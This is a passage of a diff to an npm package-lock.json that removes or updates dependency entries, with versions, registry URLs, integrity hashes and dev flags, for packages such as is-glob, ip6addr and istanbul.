+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz",
+- "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=",
+- "dev": true
+- },
+- "ip6addr": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/ip6addr/-/ip6addr-0.2.5.tgz",
+- "integrity": "sha512-9RGGSB6Zc9Ox5DpDGFnJdIeF0AsqXzdH+FspCfPPaU/L/4tI6P+5lIoFUFm9JXs9IrJv1boqAaNCQmoDADTSKQ==",
+- "requires": {
+- "assert-plus": "^1.0.0",
+- "jsprim": "^2.0.2"
+- },
+- "dependencies": {
+- "assert-plus": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
+- "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw=="
+- },
+- "jsprim": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-2.0.2.tgz",
+- "integrity": "sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==",
+- "requires": {
+- "assert-plus": "1.0.0",
+- "extsprintf": "1.3.0",
+- "json-schema": "0.4.0",
+- "verror": "1.10.0"
+- }
+- }
+- }
+- },
+ "ipaddr.js": {
+ "version": "1.9.1",
+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+@@ -54294,6 +44173,7 @@
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz",
+ "integrity": "sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==",
++ "dev": true,
+ "requires": {
+ "is-relative": "^1.0.0",
+ "is-windows": "^1.0.1"
+@@ -54304,14 +44184,6 @@
+ "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-3.0.3.tgz",
+ "integrity": "sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q=="
+ },
+- "is-accessor-descriptor": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+- "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+- "requires": {
+- "kind-of": "^6.0.0"
+- }
+- },
+ "is-arguments": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz",
+@@ -54345,11 +44217,6 @@
+ "binary-extensions": "^2.0.0"
+ }
+ },
+- "is-bluebird": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/is-bluebird/-/is-bluebird-1.0.2.tgz",
+- "integrity": "sha1-CWQ5Bg9KpBGr7hkUOoTWpVNG1uI="
+- },
+ "is-boolean-object": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
+@@ -54385,14 +44252,6 @@
+ "has": "^1.0.3"
+ }
+ },
+- "is-data-descriptor": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+- "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+- "requires": {
+- "kind-of": "^6.0.0"
+- }
+- },
+ "is-date-object": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
+@@ -54401,16 +44260,6 @@
+ "has-tostringtag": "^1.0.0"
+ }
+ },
+- "is-descriptor": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+- "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+- "requires": {
+- "is-accessor-descriptor": "^1.0.0",
+- "is-data-descriptor": "^1.0.0",
+- "kind-of": "^6.0.2"
+- }
+- },
+ "is-docker": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
+@@ -54428,12 +44277,14 @@
+ "is-extendable": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
+- "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik="
++ "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=",
++ "dev": true
+ },
+ "is-extglob": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+- "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
++ "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
++ "devOptional": true
+ },
+ "is-fullwidth-code-point": {
+ "version": "3.0.0",
+@@ -54449,6 +44300,7 @@
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
++ "devOptional": true,
+ "requires": {
+ "is-extglob": "^2.1.1"
+ }
+@@ -54463,15 +44315,6 @@
+ "is-path-inside": "^3.0.2"
+ }
+ },
+- "is-ip": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-2.0.0.tgz",
+- "integrity": "sha1-aO6gfooKCpTC0IDdZ0xzGrKkYas=",
+- "dev": true,
+- "requires": {
+- "ip-regex": "^2.0.0"
+- }
+- },
+ "is-nan": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz",
+@@ -54490,3085 +44333,1731 @@
+ "is-negative-zero": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz",
+- "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA=="
+- },
+- "is-number": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz",
+- "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=",
+- "dev": true,
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dev": true,
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-number-object": {
+- "version": "1.0.6",
+- "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz",
+- "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==",
+- "requires": {
+- "has-tostringtag": "^1.0.0"
+- }
+- },
+- "is-obj": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
+- "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w=="
+- },
+- "is-path-cwd": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz",
+- "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==",
+- "devOptional": true
+- },
+- "is-path-inside": {
+- "version": "3.0.3",
+- "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
+- "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
+- "devOptional": true
+- },
+- "is-plain-object": {
+- "version": "2.0.4",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
+- "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
+- "requires": {
+- "isobject": "^3.0.1"
+- }
+- },
+- "is-potential-custom-element-name": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+- "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
+- "dev": true
+- },
+- "is-promise": {
+- "version": "2.2.2",
+- "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
+- "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ=="
+- },
+- "is-regex": {
+- "version": "1.1.4",
+- "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
+- "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
+- "requires": {
+- "call-bind": "^1.0.2",
+- "has-tostringtag": "^1.0.0"
+- }
+- },
+- "is-relative": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz",
+- "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==",
+- "requires": {
+- "is-unc-path": "^1.0.0"
+- }
+- },
+- "is-shallow-equal": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-shallow-equal/-/is-shallow-equal-1.0.1.tgz",
+- "integrity": "sha512-lq5RvK+85Hs5J3p4oA4256M1FEffzmI533ikeDHvJd42nouRRx5wBzt36JuviiGe5dIPyHON/d0/Up+PBo6XkQ=="
+- },
+- "is-shared-array-buffer": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz",
+- "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA=="
+- },
+- "is-stream": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
+- "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="
+- },
+- "is-stream-ended": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-stream-ended/-/is-stream-ended-0.1.4.tgz",
+- "integrity": "sha512-xj0XPvmr7bQFTvirqnFr50o0hQIh6ZItDqloxt5aJrR4NQsYeSsyFQERYGCAzfindAcnKjINnwEEgLx4IqVzQw=="
+- },
+- "is-string": {
+- "version": "1.0.7",
+- "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
+- "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+- "requires": {
+- "has-tostringtag": "^1.0.0"
+- }
+- },
+- "is-subset": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/is-subset/-/is-subset-0.1.1.tgz",
+- "integrity": "sha1-ilkRfZMt4d4A8kX83TnOQ/HpOaY=",
+- "dev": true
+- },
+- "is-symbol": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
+- "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
+- "requires": {
+- "has-symbols": "^1.0.2"
+- }
+- },
+- "is-typedarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
+- "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
+- },
+- "is-unc-path": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz",
+- "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==",
+- "requires": {
+- "unc-path-regex": "^0.1.2"
+- }
+- },
+- "is-unicode-supported": {
+- "version": "0.1.0",
+- "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz",
+- "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==",
+- "dev": true
+- },
+- "is-utf8": {
+- "version": "0.2.1",
+- "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz",
+- "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=",
+- "dev": true
+- },
+- "is-valid-glob": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/is-valid-glob/-/is-valid-glob-1.0.0.tgz",
+- "integrity": "sha1-Kb8+/3Ab4tTTFdusw5vDn+j2Aao=",
+- "dev": true
+- },
+- "is-valid-hostname": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/is-valid-hostname/-/is-valid-hostname-1.0.2.tgz",
+- "integrity": "sha512-X/kiF3Xndj6WI7l/yLyzR7V1IbQd6L4S4cewSL0fRciemPmHbaXIKR2qtf+zseH+lbMG0vFp4HvCUe7amGZVhw=="
+- },
+- "is-weakref": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
+- "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
+- "requires": {
+- "call-bind": "^1.0.2"
+- }
+- },
+- "is-what": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/is-what/-/is-what-3.14.1.tgz",
+- "integrity": "sha512-sNxgpk9793nzSs7bA6JQJGeIuRBQhAaNGG77kzYQgMkrID+lS6SlK07K5LaptscDlSaIgH+GPFzf+d75FVxozA==",
+- "dev": true
+- },
+- "is-windows": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
+- "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA=="
+- },
+- "is-wsl": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
+- "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+- "requires": {
+- "is-docker": "^2.0.0"
+- }
+- },
+- "isarray": {
+- "version": "2.0.5",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+- "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="
+- },
+- "isbinaryfile": {
+- "version": "4.0.8",
+- "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.8.tgz",
+- "integrity": "sha512-53h6XFniq77YdW+spoRrebh0mnmTxRPTlcuIArO57lmMdq4uBKFKaeTjnb92oYWrSn/LVL+LT+Hap2tFQj8V+w==",
+- "dev": true
+- },
+- "isemail": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/isemail/-/isemail-3.2.0.tgz",
+- "integrity": "sha512-zKqkK+O+dGqevc93KNsbZ/TqTUFd46MwWjYOoMrjIMZ51eU7DtQG3Wmd9SQQT7i7RVnuTPEiYEWHU3MSbxC1Tg==",
+- "requires": {
+- "punycode": "2.x.x"
+- }
+- },
+- "isexe": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+- "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA="
+- },
+- "isobject": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+- "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8="
+- },
+- "isomorphic-unfetch": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/isomorphic-unfetch/-/isomorphic-unfetch-3.1.0.tgz",
+- "integrity": "sha512-geDJjpoZ8N0kWexiwkX8F9NkTsXhetLPVbZFQ+JTW239QNOwvB0gniuR1Wc6f0AMTn7/mFGyXvHTifrCp/GH8Q==",
+- "requires": {
+- "node-fetch": "^2.6.1",
+- "unfetch": "^4.2.0"
+- }
+- },
+- "isomorphic-ws": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz",
+- "integrity": "sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w==",
+- "requires": {}
+- },
+- "isstream": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
+- "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
+- },
+- "istanbul": {
+- "version": "0.4.5",
+- "resolved": "https://registry.npmjs.org/istanbul/-/istanbul-0.4.5.tgz",
+- "integrity": "sha1-ZcfXPUxNqE1POsMQuRj7C4Azczs=",
+- "dev": true,
+- "requires": {
+- "abbrev": "1.0.x",
+- "async": "1.x",
+- "escodegen": "1.8.x",
+- "esprima": "2.7.x",
+- "glob": "^5.0.15",
+- "handlebars": "^4.0.1",
+- "js-yaml": "3.x",
+- "mkdirp": "0.5.x",
+- "nopt": "3.x",
+- "once": "1.x",
+- "resolve": "1.1.x",
+- "supports-color": "^3.1.0",
+- "which": "^1.1.1",
+- "wordwrap": "^1.0.0"
+- },
+- "dependencies": {
+- "abbrev": {
+- "version": "1.0.9",
+- "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz",
+- "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=",
+- "dev": true
+- },
+- "argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "dev": true,
+- "requires": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "async": {
+- "version": "1.5.2",
+- "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz",
+- "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=",
+- "dev": true
+- },
+- "escodegen": {
+- "version": "1.8.1",
+- "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.8.1.tgz",
+- "integrity": "sha1-WltTr0aTEQvrsIZ6o0MN07cKEBg=",
+- "dev": true,
+- "requires": {
+- "esprima": "^2.7.1",
+- "estraverse": "^1.9.1",
+- "esutils": "^2.0.2",
+- "optionator": "^0.8.1",
+- "source-map": "~0.2.0"
+- }
+- },
+- "esprima": {
+- "version": "2.7.3",
+- "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz",
+- "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=",
+- "dev": true
+- },
+- "estraverse": {
+- "version": "1.9.3",
+- "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-1.9.3.tgz",
+- "integrity": "sha1-r2fy3JIlgkFZUJJgkaQAXSnJu0Q=",
+- "dev": true
+- },
+- "glob": {
+- "version": "5.0.15",
+- "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz",
+- "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=",
+- "dev": true,
+- "requires": {
+- "inflight": "^1.0.4",
+- "inherits": "2",
+- "minimatch": "2 || 3",
+- "once": "^1.3.0",
+- "path-is-absolute": "^1.0.0"
+- }
+- },
+- "has-flag": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz",
+- "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=",
+- "dev": true
+- },
+- "js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "dev": true,
+- "requires": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- },
+- "dependencies": {
+- "esprima": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
+- "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+- "dev": true
+- }
+- }
+- },
+- "nopt": {
+- "version": "3.0.6",
+- "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz",
+- "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=",
+- "dev": true,
+- "requires": {
+- "abbrev": "1"
+- }
+- },
+- "resolve": {
+- "version": "1.1.7",
+- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz",
+- "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=",
+- "dev": true
+- },
+- "source-map": {
+- "version": "0.2.0",
+- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.2.0.tgz",
+- "integrity": "sha1-2rc/vPwrqBm03gO9b26qSBZLP50=",
+- "dev": true,
+- "optional": true,
+- "requires": {
+- "amdefine": ">=0.0.4"
+- }
+- },
+- "supports-color": {
+- "version": "3.2.3",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz",
+- "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=",
+- "dev": true,
+- "requires": {
+- "has-flag": "^1.0.0"
+- }
+- },
+- "which": {
+- "version": "1.3.1",
+- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+- "dev": true,
+- "requires": {
+- "isexe": "^2.0.0"
+- }
+- }
+- }
+- },
+- "istanbul-lib-coverage": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
+- "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==",
+- "dev": true
+- },
+- "istanbul-lib-hook": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz",
+- "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==",
+- "dev": true,
+- "requires": {
+- "append-transform": "^2.0.0"
+- }
+- },
+- "istanbul-lib-instrument": {
+- "version": "4.0.3",
+- "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz",
+- "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==",
+- "dev": true,
+- "requires": {
+- "@babel/core": "^7.7.5",
+- "@istanbuljs/schema": "^0.1.2",
+- "istanbul-lib-coverage": "^3.0.0",
+- "semver": "^6.3.0"
+- }
+- },
+- "istanbul-lib-processinfo": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.2.tgz",
+- "integrity": "sha512-kOwpa7z9hme+IBPZMzQ5vdQj8srYgAtaRqeI48NGmAQ+/5yKiHLV0QbYqQpxsdEF0+w14SoB8YbnHKcXE2KnYw==",
+- "dev": true,
+- "requires": {
+- "archy": "^1.0.0",
+- "cross-spawn": "^7.0.0",
+- "istanbul-lib-coverage": "^3.0.0-alpha.1",
+- "make-dir": "^3.0.0",
+- "p-map": "^3.0.0",
+- "rimraf": "^3.0.0",
+- "uuid": "^3.3.3"
+- },
+- "dependencies": {
+- "make-dir": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+- "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+- "dev": true,
+- "requires": {
+- "semver": "^6.0.0"
+- }
+- },
+- "p-map": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
+- "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
+- "dev": true,
+- "requires": {
+- "aggregate-error": "^3.0.0"
+- }
+- },
+- "rimraf": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+- "dev": true,
+- "requires": {
+- "glob": "^7.1.3"
+- }
+- }
+- }
+- },
+- "istanbul-lib-report": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+- "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==",
+- "dev": true,
+- "requires": {
+- "istanbul-lib-coverage": "^3.0.0",
+- "make-dir": "^3.0.0",
+- "supports-color": "^7.1.0"
+- },
+- "dependencies": {
+- "make-dir": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+- "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+- "dev": true,
+- "requires": {
+- "semver": "^6.0.0"
+- }
+- },
+- "supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+- "dev": true,
+- "requires": {
+- "has-flag": "^4.0.0"
+- }
+- }
+- }
+- },
+- "istanbul-lib-source-maps": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
+- "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
+- "dev": true,
+- "requires": {
+- "debug": "^4.1.1",
